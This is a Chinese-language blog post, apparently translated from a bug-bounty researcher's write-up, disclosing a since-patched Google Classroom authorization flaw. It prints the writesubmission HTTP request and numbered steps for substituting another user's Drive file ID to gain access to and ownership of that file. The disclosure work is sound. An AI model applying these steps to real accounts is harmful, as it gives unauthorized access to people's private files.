谷歌课堂漏洞:如何获取他人Google Drive文件访问权限

本文详细介绍了通过Google Classroom API漏洞获取其他用户Google Drive文件的技术细节,包括漏洞原理、利用步骤和修复情况,展示了权限验证缺失导致的安全风险。

泄露所有用户的Google Drive文件

概述

大家好!好久不见。我决定撰写一些新的博客文章,分享我多年来在Google平台上的一些重要发现。我希望在接下来的几周内将这些内容作为一个系列持续发布,敬请关注。

在这篇新文章中,我将介绍几年前的一个有趣发现,该漏洞允许您获取其他用户Google Drive文件的访问权限。对于那些不了解Google Drive的人,这是一个文件共享服务,您可以上传Word文档、PDF文件或任何其他类型的文件,并与他人共享。如果文件是私有的或不应与您共享,您将收到访问被拒绝的错误。

今天,我将展示如何在未被授权的情况下获取他人Google Drive文件的访问权限。

在开始之前,我需要说明该问题已被修复,并且Google VRP为此提供了丰厚的奖金。

漏洞验证(POC)

在介绍这个POC之前,我需要简要解释一下Google Classroom的背景。对于那些不了解的人,Google Classroom是Google为教师和学生提供的一个协作平台,类似于课堂环境。您可以在classroom.google.com找到它,其工作方式是教师可以发布公告、作业、评分等。

当教师在Google Classroom上发布作业时,学生会收到一个提交作业的页面。例如,该页面如下所示:

学生会看到上述页面,将作业提交给课堂的教师进行评分。

在提交作业时,学生有能力将文件附加到作业中。假设学生需要附加他们为课堂撰写的论文。他们会将他们的Google Drive DOC附加到作业中并点击提交。

这就是问题出现的地方。

当学生向教师提交作业时,Google Classroom有一个流程,会授予课堂教师对提交文档的所有权。这是必要的,因为教师显然需要能够阅读学生提交的文档。

当学生实际将Google Drive文件添加到他们的作业时,会运行以下API请求:

1
2
3
POST /v7/writesubmission?_reqid=4786040&rt=j HTTP/1.1
Host: classroom.google.com
f.req=[[3],[[["18537069787",["46653220298",["41400909728"]]],[["18537069787",["46653220298",["41400909728"]]],null,null,null,[[null,null,"1h8tReWm8Cp6bsv24BwMlimFrJ3w1d7sdpxYHfUr1rgw",2,"application/vnd.google-apps.ritz",null,null,null,null,null,null,null,null,null,[null,2]]],null,[],null,null,null,null,null,null,null,null,null,null,null,[],[]],[null,true],[]]],[null,true,null,true,true,null,true,true,true,null,null,null,true,null,[true],null,null,null,true,true,true,null,null,null,[[true,true]],[[true,true]]]]

如果我们仔细观察,可以看到这个值:

"1h8tReWm8Cp6bsv24BwMlimFrJ3w1d7sdpxYHfUr1rgw"

这是学生Google Drive文件的ID,例如提交作业的文件。没有适当的RBAC检查来验证您是否实际拥有附加到作业的Google Drive文件。

所以现在我们知道了我们可以将任何Google Drive文件附加到我们的作业中,但Google Classroom后端会授予我对该文件的访问权限吗?

在最初的测试中,它没有授予我访问权限。因此,当时我认为RBAC检查工作正常,如果有什么问题,可能只是UI方面的问题。当我在上述请求中更改ID时,我无法获取我的其他帐户的Google Drive文件的访问权限。

绕过方法?

经过进一步挖掘,有一个绕过方法完全有效。如果您将目标用户添加到您的Google Classroom作为学生/教师,您现在就可以使用上述请求完全获取其Google Drive文件的完全访问权限。

流程如下:

  1. 将您目标用户作为用户添加到您的Google Classroom,并在课堂中创建一个作业。
  2. 添加另一个您控制的帐户作为学生到课堂,并登录该帐户。
  3. 作为您登录的学生帐户提交作业,并修改此请求:
1
2
3
POST /v7/writesubmission?_reqid=4786040&rt=j HTTP/1.1
Host: classroom.google.com
f.req=[[3],[[["18537069787",["46653220298",["41400909728"]]],[["18537069787",["46653220298",["41400909728"]]],null,null,null,[[null,null,"1h8tReWm8Cp6bsv24BwMlimFrJ3w1d7sdpxYHfUr1rgw",2,"application/vnd.google-apps.ritz"

并将您在步骤1中添加的课堂中目标用户的Google Drive ID放入。

  1. 提交作业,您现在将能够访问他们的整个Google Drive文件并获得其所有权。

就是这样。这里还有一个视频:

(注意音乐,因为Google VRP喜欢音乐,所以我通常会添加它。)

如果您有任何问题,请随时在X上与我联系: Cam (@SecretlyHidden1) / X

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计